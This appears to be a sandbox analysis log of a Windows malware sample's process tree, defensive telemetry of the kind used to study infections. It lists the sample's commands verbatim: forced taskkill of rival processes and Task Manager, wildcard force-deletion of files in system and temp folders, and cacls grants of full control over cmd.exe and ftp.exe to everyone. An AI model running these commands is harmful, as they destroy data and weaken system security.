cmd /c taskkill /f /im spoolys.exe
2⤵
PID:3488

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im spoolys.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3084

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files (x86)\Microsoft SystenApp\Systen64.exe
2⤵
PID:3640

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SystenApp\Systen64.exe
2⤵
PID:1120

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\Help\spoolys.exe
2⤵
PID:2680

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im lsma12.exe
2⤵
PID:4740

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im lsma12.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3128

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma12.exe
2⤵
PID:1832

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im lsma22.exe
2⤵
PID:4204

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im lsma22.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:1984

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\INF\aspnet\lsma22.exe
2⤵
PID:4516

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im assm.exe
2⤵
PID:2344

C:\Windows\System32\Conhost.exe
\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4188

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im assm.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4928

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
2⤵
PID:1036

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\assm.exe
2⤵
PID:4956

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im sqlcmd.exe
2⤵
PID:1804

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sqlcmd.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4408

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
2⤵
PID:2412

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sqlcmd.exe
2⤵
PID:2360

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhos.exe
2⤵
PID:2848

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhos.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4468

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhos.exe
2⤵
PID:1564

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhos.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1928

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhou.exe
2⤵
PID:2920

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhou.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3480

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhou.exe
2⤵
PID:4848

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhou.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:912

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im m6.bin.bin.exe
2⤵
PID:3472

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im m6.bin.bin.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:460

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im javaw.exe
2⤵
PID:4800

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im javaw.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5096

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im clsso.exe
2⤵
PID:512

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im clsso.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4388

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoz.exe
2⤵
PID:552

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoz.exe
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:3388

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoz.exe
2⤵
PID:3212

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoz.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:5000

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoz.exe
2⤵
PID:1416

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoz.exe
3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:764

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoz.exe
2⤵
PID:4856

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoz.exe
3⤵
- Kills process with taskkill
PID:4152

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoy.exe
2⤵
PID:3140

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoy.exe
3⤵
- Kills process with taskkill
PID:1808

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im conhoy.exe
2⤵
PID:3408

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im conhoy.exe
3⤵
PID:4708

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im csrs.exe
2⤵
PID:3844

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im csrs.exe
3⤵
PID:2268

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im csrs.exe
2⤵
PID:808

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im csrs.exe
3⤵
PID:5004

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im sysdo.exe
2⤵
PID:1260

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sysdo.exe
3⤵
- Kills process with taskkill
PID:4940

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\ftp.exe /e /t /g everyone:f
4⤵
PID:5464

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im sysdo.exe
2⤵
PID:3864

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im sysdo.exe
3⤵
- Kills process with taskkill
PID:2888

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SqlManagement.exe
2⤵
PID:2936

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SqlManagement.exe
3⤵
- Kills process with taskkill
PID:3236

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\sSqlManagement.exe
2⤵
PID:908

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SqlManagement.exe
2⤵
PID:4452

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SystemManagement.exe
2⤵
PID:4472

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SystemManagement.exe
3⤵
- Kills process with taskkill
PID:3196

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Program Files\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
2⤵
PID:3180

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\SystemManagement.exe
2⤵
PID:2736

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q %ProgramFiles%\Microsoft SQL Server\MSSQL11.MSSQLSERVER\MSSQL\DATA\SqlManagement\*
2⤵
PID:1248

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im taskmgr.exe
2⤵
PID:1456

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im taskmgr.exe
3⤵
PID:5068

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.vbs
2⤵
PID:3496

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.json
2⤵
PID:216

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\*.exe
2⤵
PID:3592

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.ini
2⤵
PID:2344

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.bat
2⤵
PID:4928

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.txt
2⤵
PID:4088

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\ProgramData\*.dll
2⤵
PID:4768

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.vbs
2⤵
PID:3480

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\*.exe
2⤵
PID:2488

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.ini
2⤵
PID:4728

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.json
2⤵
PID:4612

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.bat
2⤵
PID:2920

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.txt
2⤵
PID:4192

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\RECYCLER\*.dll
2⤵
PID:3016

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/*.exe
2⤵
PID:4272

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.ini
2⤵
PID:3556

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.json
2⤵
PID:3456

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.bat
2⤵
PID:4504

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.txt
2⤵
PID:4916

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.dll
2⤵
PID:3240

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:/RECYCLER/*.vbs
2⤵
PID:1328

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im wscript.exe
2⤵
PID:3632

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im wscript.exe
3⤵
- Kills process with taskkill
PID:1464

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTSWD.exe
2⤵
PID:4132

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTSWD.exe
3⤵
PID:3884

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTSWA.exe
2⤵
PID:5076

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTSWA.exe
3⤵
- Kills process with taskkill
PID:3728

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTSWB.exe
2⤵
PID:4144

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTSWB.exe
3⤵
- Kills process with taskkill
PID:3464

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTSWC.exe
2⤵
PID:2156

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTSWC.exe
3⤵
- Kills process with taskkill
PID:1936

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENAC.exe
2⤵
PID:2868

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENAC.exe
3⤵
- Kills process with taskkill
PID:864

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
2⤵
PID:3740

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
3⤵
PID:3360

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
2⤵
PID:1604

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlagentc.exe /e /t /g system:f
3⤵
PID:1752

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:1036

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:3668

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
2⤵
PID:4080

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\sqlagentc.exe /e /t /g system:f
3⤵
PID:512

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\ftp.exe /e /t /g system:f
4⤵
PID:5632

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:3044

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:2112

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
2⤵
PID:4740

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\sqlagentc.exe /e /t /g system:f
3⤵
PID:2920

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:2408

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:4376

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
2⤵
PID:4860

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
3⤵
PID:4696

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:2248

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:2516

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
2⤵
PID:3488

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\sqlagentc.exe /e /t /g system:f
3⤵
PID:1140

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:3932

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:2456

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:5020

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:4768

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
2⤵
PID:3084

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\sqlagentc.exe /t /g system:f
3⤵
PID:1188

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
2⤵
PID:4104

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\sqlagentc.exe /e /t /g everyone:f
3⤵
PID:4164

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTC.exe
2⤵
PID:1564

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTC.exe
3⤵
- Kills process with taskkill
PID:3472

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTC.exe
2⤵
PID:4928

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTC.exe
3⤵
- Kills process with taskkill
PID:4908

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTN.exe
2⤵
PID:3916

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTN.exe
3⤵
- Kills process with taskkill
PID:456

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTN.exe
2⤵
PID:3952

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTN.exe
3⤵
- Kills process with taskkill
PID:3512

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTA.exe
2⤵
PID:956

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTA.exe
3⤵
PID:1416

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGENTA.exe
2⤵
PID:3212

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGENTA.exe
3⤵
- Kills process with taskkill
PID:3556

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:2808

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:4824

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
2⤵
PID:1844

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /t /g system:f
3⤵
PID:3668

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:4440

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQL~1\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:5020

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:4852

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\MSSQLSERVER\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:4892

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:1464

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:3196

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:2660

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\Temp\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:2816

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:1444

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:1148

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATC.exe
2⤵
PID:4864

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATC.exe
3⤵
- Kills process with taskkill
PID:5056

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATC.exe
2⤵
PID:1832

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATC.exe
3⤵
- Kills process with taskkill
PID:3960

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:1932

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:3384

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:3408

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\2\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:2736

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:1240

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:1036

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:3640

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\1\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:3180

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:3192

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:4368

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
2⤵
PID:1272

C:\Windows\SysWOW64\cacls.exe
cacls C:\Users\Administrator\AppData\Local\Temp\SQLAGEATC.exe /e /t /g system:f
3⤵
PID:1540

C:\Windows\SysWOW64\cmd.exe
cmd /c cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
2⤵
PID:3632

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\SQLAGEATC.exe /e /t /g everyone:f
3⤵
PID:1328

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATN.exe
2⤵
PID:1316

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATN.exe
3⤵
- Kills process with taskkill
PID:1456

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATN.exe
2⤵
PID:2248

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATN.exe
3⤵
- Kills process with taskkill
PID:2852

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATA.exe
2⤵
PID:3236

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATA.exe
3⤵
- Kills process with taskkill
PID:1564

C:\Windows\SysWOW64\cmd.exe
cmd /c taskkill /f /im SQLAGEATA.exe
2⤵
PID:912

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im SQLAGEATA.exe
3⤵
PID:348

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Users\MSSQL~1\AppData\Local\Temp\*
2⤵
PID:4700

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Users\MSSQLSERVER\AppData\Local\Temp\*
2⤵
PID:544

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\Temp\*
2⤵
PID:1256

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Temp\*
2⤵
PID:3956

C:\Windows\SysWOW64\cmd.exe
cmd /c del /f /a /q C:\Users\Administrator\AppData\Local\Temp\*
2⤵
PID:5060

C:\Windows\SysWOW64\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\TempUpdate2.bat
2⤵
PID:3240

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
3⤵
PID:4012

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
3⤵
PID:3464

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\@cacls.exe" /e /t /g everyone:f
3⤵
PID:3216

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g everyone:f
3⤵
PID:2408

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
3⤵
PID:332

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
3⤵
PID:2456

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\@cacls.exe" /e /t /g system:f
3⤵
PID:2424

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\@cacls.exe" /e /t /g system:f
3⤵
PID:4088

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
3⤵
PID:2988

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
3⤵
PID:3712

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\cmd.exe" /e /t /g everyone:f
3⤵
PID:4368

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g everyone:f
3⤵
PID:4604

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
3⤵
PID:3196

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
3⤵
PID:3384

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\cmd.exe" /e /t /g system:f
3⤵
PID:3500

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\cmd.exe" /e /t /g system:f
3⤵
PID:3592

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
3⤵
PID:4276

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\SysWOW64\ftp.exe /e /t /g everyone:f
4⤵
PID:5324

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
3⤵
PID:4372

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\ftp.exe" /e /t /g everyone:f
3⤵
PID:3632

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\ftp.exe /e /t /g system:f
4⤵
PID:5520

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g everyone:f
3⤵
PID:1552

C:\Windows\SysWOW64\cacls.exe
cacls C:\Windows\system32\ftp.exe /e /t /g system:f
4⤵
PID:5532

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
3⤵
PID:4932

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
3⤵
PID:4192

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\system32\ftp.exe" /e /t /g system:f
3⤵
PID:2352

C:\Windows\SysWOW64\cacls.exe
cacls "C:\Windows\SysWOW64\ftp.exe" /e /t /g system:f
3⤵
PID:4876

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn64.exe
3⤵
PID:1664

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn64.exe
3⤵
- Kills process with taskkill
PID:1852

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn32.exe
3⤵
- Kills process with taskkill
PID:4708

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im Gsmarn32.exe
3⤵
- Kills process with taskkill
PID:4476

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CGlobalan.exe
3⤵
PID:3616

C:\Windows\SysWOW64\taskkill.exe
taskkill /f /im CGlobalan.exe
3⤵
PID:4864

